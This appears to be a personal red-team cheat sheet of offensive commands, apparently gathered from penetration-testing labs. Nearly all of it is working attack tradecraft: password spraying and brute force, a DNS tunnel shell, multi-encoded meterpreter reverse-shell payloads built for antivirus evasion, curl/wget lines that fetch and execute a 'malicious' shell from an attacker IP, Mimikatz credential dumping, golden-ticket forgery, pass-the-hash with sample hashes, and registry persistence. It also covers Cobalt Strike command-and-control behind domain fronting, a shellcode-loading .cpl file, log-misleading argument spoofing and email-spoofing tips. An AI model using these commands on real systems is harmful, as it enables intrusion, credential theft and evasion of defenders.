| git clone https://github.com/trustedsec/ptf | |
| ------ |
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| Pull images embedded within files | |
| foremost -i picturefile.jpg -o output |
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| For Windows: | |
| Download and install Java 8 from Oracle: | |
| Windows Java SE Java 8 for 32 bits or Java 8 for 64 bits | |
| After you have installed Java 8 in your machine, double click ExplotPack.jar or from a console run this command: "java -jar ExploitPack.jar" | |
| For Linux: | |
| Under any Linux distribution that supports DEB packages like Ubuntu, Debian, Kali, etc. you can run the following commands to install Java 8 from an official repository | |
| Copy and paste the following in a terminal window: | |
| echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main" >> /etc/apt/sources.list | |
| echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main" >> /etc/apt/sources.list | |
| sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys EEA14886 | |
| sudo apt-get update | |
| sudo apt-get install oracle-java8-installer |
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| nmap -A <ip address> | |
| nmap -p 1-65535 <ip address> | |
| nmap --script smb-system-info <ip address> | |
| ----------------------------- | |
| Samba? | |
| enum4linux <ip address> | |
| ------------------------------ | |
| SMB? | |
| smbclient -L=<IP Address> | |
| ------------------------------- | |
| http or https? | |
| nikto --host <ip address> | |
| -------------------------------- | |
| Hydra brute force | |
| hydra -L /root/Desktop/names.txt -P /usr/share/wordlists/rockyou.txt <ip address> <service> | |
| Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak telnet[s] vmauthd vnc xmpp | |
| -------------------------------- |
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| This will gather the domain name - Keep in mind, you may want to run this twice to verify results | |
| Invoke-DomainHarvestOWA -ExchHostname <ip or url> -DomainList <domain list file> -Outfile <output file> | |
| Invoke-DomainHarvestOWA -ExchHostname "10.10.110.254" -DomainList .\domains.txt -brute <----this is rastalabs | |
| This will check for valid domain users on the Domain after you gather a pre-generated username list | |
| Invoke-UsernameHarvestOWA -ExchHostname "10.10.110.254" -UserList .\email_addys.txt -Domain rastalabs.local | |
| This will spray the OWA portal against a valid userlist with a singular password | |
| Invoke-PasswordSprayOWA -ExchHostname "10.10.110.254" -Domain rastalabs.local -UserList .\email_addys.txt -Password Labrador1 | |
| This will use a harvested credential to get a global-address list | |
| Get-GlobalAddressList -ExchHostname "10.10.110.254" -UserName rastalabs.local\ahope -Password Spring2017 -OutFile test.txt |
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| Zone transfer | |
| dig @10.50.96.5 foocampus.com -t AXFR | |
| Check for dns port open from dns port (sometimes port 53 only responds to port 53) | |
| nmap -sS --source-port 53 -p 53 10.50.97.5 | |
| --------------- | |
| nmap -sT -p 53 10.10.10.* | |
| once this is found do | |
| dig @<ipaddress with DNS open> -x <ipaddress with DNS open> | |
| now you should see something like | |
| answer section | |
| 10.5.16.172.in-addr.arpa 1200 IN PTR dc01.sportsfoo.com | |
| ------------------- | |
| the sportsfoo.com is the domain name | |
| now you can do | |
| dig@<ipaddress with DNS open> -t AXFR sportsfoo.com <--this will do a zone transfer with info from above. | |
| ------------------------ | |
| bash scripts | |
| if zone transfer fails, you can do the following | |
| nmap -sP 172.16.5.* -oG - | awk '/Up/{print $2}' > alive.txt && cat alive.txt | |
| for name in $(cat /usr/share/fierce/hosts.txt); do host $name.sportfoo.com <ipaddress with DNS open> -W 2; done | grep 'has address' | |
| for name in $(cat /usr/share/fierce/hosts.txt); do host $name.sportsfoo.com 172.16.5.10 -W 2; done | grep 'has address' |
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| First we need to set up a server | |
| Download the github repo for DNSCat | |
| https://github.com/iagox86/dnscat2 | |
| or | |
| git clone https://github.com/iagox86/dnscat2.git | |
| Server Side | |
| Make sure that either your domain is set up (stealthy) or you have all your port forwarding set up to get connections from the outside world | |
| root@kali# ruby2.5 dnscat2.rb --secret 752891347958625 | |
| MAKE SURE THAT YOU ARE NOT USING OLD FUCKING RUBY - IT WILL THROW ERRORS - Ruby 2.3 and 2.5 work. AND ALSO MAKE SURE YOU ARE IN THE SERVER DIRECTORY, EXECUTING THE SERVER RUBY SCRIPT, E.G., /pentest/pivoting/dnscat2/server/dnscat2.rb | |
| Once a connection is made, | |
| Type the command "windows" --without the quote. This will show all open windows. | |
| Now type in "window 1" window 1 will be the very first window you get after the initial connection to the client from the server AKA attacker machine | |
| Now when in "window 1", type the command "shell" | |
| Now press ctrl + z and this will take you back to the main screen. | |
| Once in the main screen, type the command "windows" and you should see a list of windows. The window that says something like "4 :: sh (thp3) [encrypted and verified] [*]" | |
| In this instance 4 is the window and sh is the fact I am running a shell on the box. | |
| type window -i 4 | |
| Now you have shell access through DNS :):):):) | |
| Client Side | |
| For the client side, execute the following, replace the x.x.x.x with your server IP address, or domain name. | |
| dnscat --dns server=x.x.x.x,port=53 --secret=752891347958625 | |
| windows |
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| droopescan scan wordpress -u http://192.168.0.17/wordpress |
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| cat fsocity.txt | sort -u > fsociety.txt |
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| When you have a username and password list like below, do the following to separate usernames and passwords. | |
| DRussell Password1 | |
| GCoates Welcome01 | |
| cyber_adm Password123! | |
| FSaville-Kent Letmein! | |
| justalocaladmin Pass123! | |
| svc_iis Vintage! | |
| LNewton Banker123 | |
| LWestgarth Offshore123 | |
| MCarrodus Spring2018! | |
| IChamberlain Mei2Chai | |
| JSwift theifi9A | |
| Ksteele dahxahJ5 | |
| LMacghey Chie0zai | |
| LPatterson chipieKu7 | |
| ned_adm Nothing to see here! | |
| vincent.delpy Il0v3kiwis! | |
| wsadmin Workstationadmin1! | |
| Do the below command to separate the usernames from the passwords and put them into a username file | |
| cat usernamepass.txt |cut -d ' ' -f2 --complement > username.txt | |
| Do the below command to separate the passwords from the usernames and put them into a password file | |
| cat usernamepass.txt |cut -d ' ' -f1 --complement >password.txt |
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| this is a chained command -- enter it one line at a time | |
| ========================================================= | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.53 LPORT=443 -f raw -e x86/shikata_ga_nai -i 10 | \ | |
| msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \ | |
| msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe | |
| ======================================================== | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.53 LPORT=443 -f raw -e x86/shikata_ga_nai -i 10 | \ | |
| msfvenom -a x86 --platform windows -e x86/jmp_call_additive -i 8 -f raw | \ | |
| msfvenom -a x86 --platform windows -e x86/call4_dword_xor -i 8 -f raw | \ | |
| msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \ | |
| msfvenom -a x86 --platform windows -e x86/fnstenv_mov -i 8 -f raw | \ | |
| msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe | |
| ======================================================== | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.234 LPORT=443 R | \ | |
| msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -t exe -c --platform windows /usr/share/windows-binaries/plink.exe -o beffany.exe |
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| curl -o <filename> http://192.168.x.x/malicious-shit.php | |
| you can also pipe in commands too such as | |
| curl -o <filename> http://192.168.x.x/malicious-shit.php ; chmod +x shell.php ; ./shell.php | |
| User agent change | |
| curl -A "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" | |
| ----------------------- | |
| wget -O <filename> http://192.168.x.x/malicious-shit.php | |
| you can also pipe in commands too such as | |
| wget -O <filename> http://192.168.x.x/malicious-shit.php ; chmod +x shell.php ; ./shell.php |
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| Check SMB With Password Hash | |
| crackmapexec smb 192.168.0.24 -u UserName -H 'hash' | |
| Check SMB With Password | |
| crackmapexec smb 192.168.0.24 -u UserName -p 'password' | |
| Dump SAM | |
| crackmapexec smb 192.168.0.24 -u UserName -p 'password' --sam | |
| Check CrackMapExec Against a list | |
| crackmapexec 192.168.0.24 -u <user_list.txt -p '<password_list.txt>' |
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| #define PAGE_SIZE sysconf(_SC_PAGE_SIZE) | |
| ^^ use this if you get the error "5092.c:30:30: fatal error: asm-generic/page.h: No such file or directory" or something similar dealing with asm/page etc etc | |
| ========================== | |
| compile code | |
| gcc <filename.c> -o <newfilename(do not add extension)> | |
| IE gcc 5092.c -o 5092 |
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| Put Your Seatbelt on! | |
| 1. Make sure you have the binaries and aggressor scripts loaded onto your Cobalt Strike client | |
| https://raw.githubusercontent.com/harleyQu1nn/AggressorScripts/master/AVQuery.cna - This is caught - don't use!!!!!!!!!!!! | |
| https://raw.githubusercontent.com/harleyQu1nn/AggressorScripts/master/EDR.cna - Right click on session and click EDR Query - This results in moderate feedback | |
| https://github.com/GhostPack/Seatbelt - execute-assembly /opt/seatbelt.exe all ************PREFERRED | |
| Note the following | |
| Reboot Schedule | |
| Domain SID | |
| UAC System Policies | |
| Logon Server AKA DOMAIN CONTROLLER | |
| Domain Name | |
| Local Group Memberships | |
| Drive Information | |
| RDP Sessions | |
| Network Shares | |
| Potential Defensive Processes | |
| Current User SID | |
| DPAPI Master Keys |
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| Inter-realm Trust Abuse | |
| mimikatz lsadump::trust /patch | |
| mimikatz kerberos::golden /user:Administrator /domain:<child domain> /sid:<child domain sid> /sids:<parent domain Enterprise Admins SID> /rc4:<trust ticket RC4 hash> /service:krbtgt /target:<parent domain> /ticket:<ticket to save> | |
| .\asktgs.exe C:\Users\Public\ticket.kirbi CIFS/server.domain.local | |
| .\kirbikator.exe lsa .\CIFS.domain.kirbi | |
| ls \\mcorp-dc.moneycorp.local\c$ | |
| Sid Hopping Template | |
| target domain: admin.offshore.com | |
| current (child) domain: dev.admin.offshore.com | |
| child domain sid: | |
| Command for SID Hopping Golden Ticket: | |
| mimikatz kerberos::golden /user:<any user> /domain:<child domain> /sid:<child domain sid> /sids:<sids of enterprise domains in parent> /krbtgt:<krbtgt hash of child> /ptt | |
| Mimikatz Golden Ticket | |
| mimikatz kerberos::golden /user:<username> /domain:<FQDN> /sid:<sid of parent or child domain> /krbtgt:<hash of krbtgt> /ptt | |
| /user: This is the user you want to forge a ticket for | |
| /domain: this is the domain you want to forge a ticket for | |
| /sid: this is the domain's SID | |
| /krbtgt: this is the KRBTGT Hash | |
| Mimikatz Silver Ticket | |
| mimikatz kerberos::golden /sid:<sid of parent or child domain> /domain:<FQDN> /ptt /target:DC01 /service:cifs /rc4:<NTLM Hash> /user:<FakeUser> | |
| Mimikatz Silver Ticket Command Reference | |
| The Mimikatz command to create a golden or silver ticket is “kerberos::golden” | |
| • /domain – the fully qualified domain name. In this example: “lab.adsecurity.org”. | |
| • /sid – the SID of the domain. In this example: “S-1-5-21-1473643419-774954089-2222329127”. | |
| • /user – username to impersonate | |
| • /groups (optional) – group RIDs the user is a member of (the first is the primary group) | |
| • default: 513,512,520,518,519 for the well-known Administrator’s groups (listed below). | |
| • /ticket (optional) – provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use. | |
| • /ptt – as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use. | |
| • /id (optional) – user RID. Mimikatz default is 500 (the default Administrator account RID). | |
| • /startoffset (optional) – the start offset when the ticket is available (generally set to –10 or 0 if this option is used). Mimikatz Default value is 0. | |
| • /endin (optional) – ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes). | |
| • /renewmax (optional) – maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes). | |
| Disable mimikatz patch via registry | |
| reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f | |
| Pass The Hash | |
| sekurlsa::pth /user:SQLDEVADMIN /domain:US.FUNCORP.LOCAL /ntlm:ce03434e2f83b99704a631ae56e2146e | |
| All About SIDs | |
| beacon> mimikatz sid::lookup /name:appsvc | |
| [*] Tasked beacon to run mimikatz's sid::lookup /name:appsvc command | |
| [+] host called home, sent: 961605 bytes | |
| [+] received output: | |
| Name : appsvc | |
| Type : User | |
| Domain: ELS-CHILD | |
| SID : S-1-5-21-23589937-599888933-351157107-1109 | |
| beacon> mimikatz sid::lookup /name:uatoperator | |
| [*] Tasked beacon to run mimikatz's sid::lookup /name:uatoperator command | |
| [+] host called home, sent: 961605 bytes | |
| [+] received output: | |
| Name : uatoperator | |
| Type : User | |
| Domain: ELS-CHILD | |
| SID : S-1-5-21-23589937-599888933-351157107-1110 | |
| beacon> mimikatz sid::lookup /sid:S-1-5-21-23589937-599888933-351157107-1118 | |
| [*] Tasked beacon to run mimikatz's sid::lookup /sid:S-1-5-21-23589937-599888933-351157107-1118 command | |
| [+] host called home, sent: 961605 bytes | |
| [+] received output: | |
| SID : S-1-5-21-23589937-599888933-351157107-1118 | |
| Type : Group | |
| Domain: ELS-CHILD | |
| Name : PowerShell Remoting | |
| Golden Ticket | |
| kerberos::golden /user:arobbins_da /domain:citadel.covertius.local /sid:S-1-5-21-592301725-3004806419-1885942225 /krbtgt:c1c540cb1f997657f5465e08468725f3 /endin:480 /renewmax:10080 /ptt | |
| arobbins_da is the user | |
| sid is the domain sid of citadel.covertius.local | |
| citadel.covertius.local is the domain | |
| krbtgt is the ticket granting ticket found on the domain controller of through dcsync | |
| In Cobalt Strike Beacon or Mimikatz Command Prompt | |
| mimikatz sekurlsa::<enter something from below, e.g. msv> | |
| mimikatz sekurlsa::msv | |
| mimikatz sekurlsa::wdigest | |
| mimikatz sekurlsa::kerberos <I've seen this pull plain text passwords> | |
| mimikatz sekurlsa::tspkg | |
| mimikatz sekurlsa::livessp | |
| mimikatz sekurlsa::ssp | |
| mimikatz sekurlsa::logonPasswords | |
| mimikatz sekurlsa::minidump | |
| mimikatz sekurlsa::trust | |
| mimikatz sekurlsa::backupkeys | |
| mimikatz sekurlsa::tickets | |
| mimikatz sekurlsa::ekeys | |
| mimikatz sekurlsa::dpapi | |
| mimikatz sekurlsa::credman | |
| mimikatz sekurlsa:: | |
| mimikatz sekurlsa::msv - Lists LM & NTLM credentials | |
| wdigest - Lists WDigest credentials | |
| kerberos - Lists Kerberos credentials | |
| tspkg - Lists TsPkg credentials | |
| livessp - Lists LiveSSP credentials | |
| ssp - Lists SSP credentials | |
| logonPasswords - Lists all available providers credentials | |
| process - Switch (or reinit) to LSASS process context | |
| minidump - Switch (or reinit) to LSASS minidump context | |
| pth - Pass-the-hash | |
| krbtgt - krbtgt! | |
| dpapisystem - DPAPI_SYSTEM secret | |
| trust - Antisocial | |
| backupkeys - Preferred Backup Master keys | |
| tickets - List Kerberos tickets | |
| ekeys - List Kerberos Encryption Keys | |
| dpapi - List Cached MasterKeys | |
| credman - List Credentials Manager | |
| Dump Creds from .dmp file with mimikatz and volatility | |
| https://medium.com/@ali.bawazeeer/using-mimikatz-to-get-cleartext-password-from-offline-memory-dump-76ed09fd3330 | |
| 1. /usr/share/volatility | |
| 2. mkdir plugins | |
| 3. cd plugins | |
| 4. wget https://raw.githubusercontent.com/dfirfpi/hotoloti/master/volatility/mimikatz.py | |
| 5. apt-get install python-crypto | |
| 6. volatility — plugins=/usr/share/volatility/plugins — profile=Win7SP0x86 -f halomar.dmp mimikatz | |
| Or, alternatively | |
| Run Mimikatz | |
| Type, “sekurlsa::Minidump lsassdump.dmp“ | |
| Lastly type, “sekurlsa::logonPasswords“ |
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| Persistence | |
| https://attack.mitre.org/techniques/T1183/ Image File Execution Options Injection | |
| APT Groups - TEMP.Veles | |
| Admin Access Only | |
| The below commands will run the "evil.exe" command everytime notepad is closed - replace notepad with the program you desire and evil.exe with the program you desire - For us we will use C:\humscript\HUMWIN.exe | |
| reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 | |
| reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 | |
| reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe" |
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| runasadmin within cobalt strike works |
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| ##### IF ELEVATED: | |
| # grab a TGT b64 blob with a valid NTLM/rc4 (or /aes256:X) | |
| beacon> execute-assembly /home/specter/Rubeus.exe asktgt /user:USER /rc4:NTLM_HASH | |
| # decode the base64 blob to a binary .kirbi | |
| $ base64 -d ticket.b64 > ticket.kirbi | |
| # sacrificial logon session (to prevent the TGT from overwriting your current logon session's TGT) | |
| beacon> make_token DOMAIN\USER PassWordDoesntMatter | |
| # inject the .kirbi | |
| beacon> kerberos_ticket_use /home/user/ticket.kirbi | |
| # do bad actions :) | |
| # revert- clears out the sacrificial logon session, so the original context's tickets are restored to normal | |
| beacon> rev2self | |
| ##### IF NOT ELEVATED | |
| # grab a TGT b64 blob with a valid NTLM/rc4 (or /aes256:X) | |
| beacon> execute-assembly /home/specter/Rubeus.exe asktgt /user:USER /rc4:NTLM_HASH | |
| # decode the base64 blob to a binary .kirbi | |
| $ base64 -d ticket.b64 > ticket.kirbi | |
| # sacrificial logon session (to prevent the TGT from overwriting your current logon session's TGT) | |
| beacon> make_token DOMAIN\USER PassWordDoesntMatter | |
| # Create a sacrificial process. We have to do this due to the way beacon handles tokens now. You can't create a process with a token as a low prived user. | |
| beacon> run C:\Windows\System32\upnpcont.exe | |
| # inject into the newly spawned process | |
| beacon> inject x64 <NEW_PID> <listener_name> | |
| # inject the .kirbi | |
| new beacon> kerberos_ticket_use /home/user/ticket.kirbi | |
| # do bad actions :) | |
| # kill the runas beacon when actions are completed | |
| # revert in the original beacon- | |
| beacon> rev2self |
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| SharpCom | |
| run net use \\computername\c$ P@ssw0rd /U:computername\administrator | |
| psexec <computername> <listener> | |
| From cobalt strike | |
| run net use \\Server_Name\C$ /user:wsadmin "Workstationadmin1!" | |
| psexec_psh <computer_name> <listener> |
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| Connect directly to target mail server | |
| dig +short MX <domain> | |
| dig +short MX gmail.com | |
| Beware of the SPF AKA, Sender Policy Framework | |
| dig +short TXT <domain> | |
| dig +short TXT gmail.com | |
| ****If you see a bunch of IP addresses you don't have access to, do not try to spoof emails | |
| Beware of DomainKeys Identified Mail (DKIM) e.g., webexdomainverification, dropbox-domain-verification, etc. | |
| Beware of Domain-based Messages Authentication. (DMARC) | |
| dig +short TXT _dmarc.domain.com | |
| dig +short TXT _dmarc.gmail.com | |
| *****Make sure you match "From:header" to "MAIL FROM" in the envelope, this is a tradecraft consideration, if not matching, your email may not get delivered. |
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| Payloads | |
| Malicious Control Panel Item (.cpl file) | |
| https://github.com/rvrsh3ll/CPLResourceRunner | |
| Step 1: In Cobalt Strike select Attacks>Packages>Windows Executable (S) . Select Output as "RAW". Ensure that it is x86 and click Generate. | |
| Step 2: Run ConvertShellcode.py on your beacon.bin file (beacon.bin is the payload generated from Step 1) - This will create shellcode.txt. | |
| Step 3: Run the following command against the "shellcode.txt" file to get a blob for the cpl resource. | |
| Step 4: cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt | |
| Step 5: To compile to x86, open Visual Studio and copy b64shellcode.txt to Resources.txt (CPLResourceRunner/CPLResourceRunner/Resources.txt) | |
| Step 6: Double click the Solution file in CPLResourceRunner. (may receive compilation errors, but if it creates CPLResourceRUnner.dll in \CPLResourceRunner\bin\x86\Release\ then it was successful) | |
| Step 7: Move CPLResourceRunner.dll to *.cpl (double clicking the .cpl file will launch the shell code. By default you get an error message, but the shellcode should still work) | |
| Step 8: For asthetics, change the contents of the MsgBox to suit your pretext or remove for lateral movement usage. |
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| Setting up Cobalt Strike | |
| Step 1. Change SSL certificate settings starting on Line 52 (where it ssays keytool -keystore ./cobaltstrike.store....) | |
| Step 1a. Default CN is 'Major Cobalt Strike'. DO NOT USE THIS or you will get caught. Use a CN like google or microsoft. | |
| Step 1b. Specify a Certificate in Malleable C2 Profile - see other note in this file (Certificates) | |
| Step 2. Domain Fronting - Log into AWS - Select Services - In services, select "CloudFront" - Create Distribution - Select Web - | |
| Under Create Distribution, select Origin Domain Name | |
| Origin Domain Name will be team server name, e.g. meterpaderp.com or even an IP address such as 72.224.x.x | |
| Origin ID is a description of the Origin, such as healthcare or fitness | |
| Origin Protocol Policy - Select "Match Viewer" | |
| Allowed HTTP Methods - Selects all "Get,Head,Options,Post,Patch,Put,Delete" | |
| Object Caching - Select "Customize" | |
| Cache Based on Selected Request Headers - Select "Customize" | |
| Forward cookies - Select "All" | |
| Query String Forwarding and Caching - Select "All" | |
| Distribution State - Select "Enabled" | |
| Select 'Create Distribution' |
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| 1. Buy Domain | |
| 2. Manage Domain - Edit A record to point to IP address | |
| 3. Set TTL to 3600 (1hour) for Cobalt Strike |
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| https://www.cobaltstrike.com/help-malleable-c2 | |
| Self-signed Certificates with SSL Beacon | |
| The HTTPS Beacon uses the HTTP Beacon's indicators in its communication. Malleable C2 profiles may also specify parameters for the Beacon C2 server's self-signed SSL certificate. This is useful if you want to replicate an actor with unique indicators in their SSL certificate: | |
| https-certificate { | |
| set CN "bobsmalware.com"; | |
| set O "Bob's Malware"; | |
| } | |
| The certificate parameters under your profile's control are: | |
| Option Example Description | |
| C US Country | |
| CN beacon.cobaltstrike.com Common Name; Your callback domain | |
| L Washington Locality | |
| O Strategic Cyber LLC Organization Name | |
| OU Certificate Department Organizational Unit Name | |
| ST DC State or Province | |
| validity 365 Number of days certificate is valid for | |
| =========================================================== | |
| Valid SSL Certificates with SSL Beacon | |
| You have the option to use a Valid SSL certificate with Beacon. Use a Malleable C2 profile to specify a Java Keystore file and a password for the keystore. This keystore must contain your certificate's private key, the root certificate, any intermediate certificates, and the domain certificate provided by your SSL certificate vendor. Cobalt Strike expects to find the Java Keystore file in the same folder as your Malleable C2 profile. | |
| https-certificate { | |
| set keystore "domain.store"; | |
| set password "mypassword"; | |
| } | |
| The parameters to use a valid SSL certificate are: | |
| Option Example Description | |
| keystore domain.store Java Keystore file with certificate information | |
| password mypassword The password to your Java Keystore | |
| Here are the steps to create a Valid SSL certificate for use with Cobalt Strike's Beacon: | |
| 1. Use the keytool program to create a Java Keystore file. This program will ask "What is your first and last name?" Make sure you answer with the fully qualified domain name to your Beacon server. Also, make sure you take note of the keystore password. You will need it later. | |
| $ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store | |
| 2. Use keytool to generate a Certificate Signing Request (CSR). You will submit this file to your SSL certificate vendor. They will verify that you are who you are and issue a certificate. Some vendors are easier and cheaper to deal with than others. | |
| $ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store | |
| 3. Import the Root and any Intermediate Certificates that your SSL vendor provides. | |
| $ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store | |
| 4. Finally, you must install your Domain Certificate. | |
| $ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store | |
| And, that's it. You now have a Java Keystore file that's ready to use with Cobalt Strike's Beacon. | |
| =============================== |
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| https://github.com/threatexpress/cs2modrewrite | |
| https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/ | |
| https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-user-redirection/ | |
| 1. Start Apache on Linux - service apache2 start (initial working directory is /var/www/html) | |
| Apache Rewrite Setup and Tips | |
| Enable Rewrite and Proxy | |
| a2enmod rewrite headers proxy proxy_http ssl cache | |
| a2dismod -f deflate | |
| service apache2 reload |
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| Misc in mimikatz may be able to launch apps blocked by applocker etc. | |
| misc::cmd | |
| misc::regedit | |
| misc::mflt ***Some kind of filter that can tell if it's running sysmon, kaspersky etc | |
| misc::wp /file:tacos.jpg ***This will inject into explorer.exe for sneakiness |
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| Generating Valid Certificates - | |
| https://certbot.eff.org/lets-encrypt/debianother-other | |
| If you have a valid domain and access to the webserver e.g., Command Line Access to a Linux Box, do the following | |
| wget https://dl.eff.org/certbot-auto | |
| sudo mv certbot-auto /usr/local/bin/certbot-auto | |
| sudo chown root /usr/local/bin/certbot-auto | |
| sudo chmod 0755 /usr/local/bin/certbot-auto | |
| *****Be Sure to set up your webserver and have it running, EFF will verify your site is up and running before giving you a cert. | |
| To obtain a cert using the "webroot" plugin, which can work with the webroot directory of any webserver software: | |
| # ./certbot-auto certonly --webroot -w /var/www/html -d domain.com -d subdomain.domain.com | |
| The previous command will generate a certificate for meterpaderp.com and also the subdomain, subdomain.meterpaderp.com using the webroot /var/www/html - which is the default webroot for apache2 |
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| shinject <PID> x64 /root/beacon.bin |
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| use spawnto_x86 %windir%\syswow64\svchost.exe in order to not use rundll32 | |
| spawnto x86 %windir%\syswow64\svchost.exe | |
| spawnto x64 %windir%\sysnative\svchost.exe | |
| use argue command | |
| command 1 = argue ipconfig what is this? | |
| command 2 = run ipconfig /all | |
| The machine will run "ipconfig /all", but show under event logs that you ran "ipconfig what is this?" | |
| Get-NetLocalGroup -COmputerName <computername> -GroupName "<groupname>" | |
| shell net use \\ARGON\C$ /U:CITADEL\bharris_a vek3irj1shKt! | |
| do not inject HTTPS payloads into anything other than explorer | |
| Coballt Strike | |
| Do not use net commands native to CS | |
| Do not laterally move with built in cobalt strike tools | |
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| Windows version: | |
| reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion | |
| Users who have authed to the system: | |
| ls C:\Users\ | |
| System env variables: | |
| reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment | |
| Saved outbound RDP connections: | |
| reg query x64 HKCU\Software\Microsoft\Terminal Server Client\Servers | |
| more info example: | |
| reg query x64 HKCU\Software\Microsoft\Terminal Server Client\Servers\10.10.10.25 | |
| IE proxy settings: | |
| reg query x64 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings | |
| reg query x64 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings | |
| reg query x64 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\ | |
| reg queryv x64 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\ DefaultConnectionSettings | |
| From https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-HostProfile.ps1: | |
| Check system policies (token filter policy/etc.) | |
| reg query x64 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System | |
| Audit settings: | |
| reg query x64 HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit | |
| Command line process auditing: | |
| reg queryv x64 HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ProcessCreationIncludeCmdLine_Enabled | |
| Check if PS version 2 is installed: | |
| reg queryv x64 HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine PowerShellVersion | |
| Check if PS version 5 is installed: | |
| reg queryv x64 HKLM\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine PowerShellVersion | |
| Check if CLR 2.0 installed: | |
| ls C:\Windows\Microsoft.Net\Framework\v2.0.50727\ | |
| Check if CLR 4.0 installed: | |
| ls C:\Windows\Microsoft.Net\Framework\v4.0.30319\ | |
| PowerShell transcription settings: | |
| reg query x64 HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription | |
| PowerShell module logging: | |
| reg query x64 HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging | |
| PowerShell script block logging: | |
| reg query x64 HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging | |
| LSA settings (NTLM, PPL, etc.) | |
| reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Lsa | |
| LAPS enabled: | |
| reg query x64 HKLM\Software\Policies\Microsoft Services\AdmPwd | |
| WEF settings: | |
| reg query x64 HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager\1 | |
| MS Cached Logon Count: | |
| reg queryv x64 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon CachedLogonsCount | |
| Putty: | |
| reg query x64 HKCU\SOFTWARE\SimonTatham\Putty\ | |
| Sysmon: | |
| reg query x64 HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters | |
| reg queryv x64 HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters Rules | |
| Users logged onto the machine: | |
| net logons | |
| Local admins: | |
| net localgroup administrators | |
| Local drives: | |
| drives | |
| Local shares: | |
| net share | |
| From https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1: | |
| Recently typed "run" commands: | |
| reg query x64 HKCU\software\microsoft\windows\currentversion\explorer\runmru |
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| Sid Hopping Template | |
| target domain: admin.offshore.com | |
| current (child) domain: dev.admin.offshore.com | |
| child domain sid: | |
| Command for SID Hopping Golden Ticket: | |
| mimikatz kerberos::golden /user:<any user> /domain:<child domain> /sid:<child domain sid> /sids:<sids of enterprise domains in parent> /krbtgt:<krbtgt hash of child> /ptt |
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| Make a sacrificial token | |
| make_token domain\okiedoke PASSw0rd123 | |
| Make Golden Ticket | |
| mimikatz kerberos::golden /user:<username> /domain:<FQDN> /sid:<sid of parent or child domain> /krbtgt:<hash of krbtgt> /ptt | |
| make_token domain\localadmin PASSw0rd123 | |
| mimikatz kerberos::golden /user:da /domain:domain.local /sid:S-1-5-21-3884802495-1826026284-4176013182 /krbtgt:e16dde5d62196257d6b1e847d746ac69 /ptt |
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| Ebowla Malware - https://github.com/Genetic-Malware/Ebowla | |
| ---------------------------- | |
| in genetic.config file | |
| Select "output_type" it'll be either GO, Python, or Powershell | |
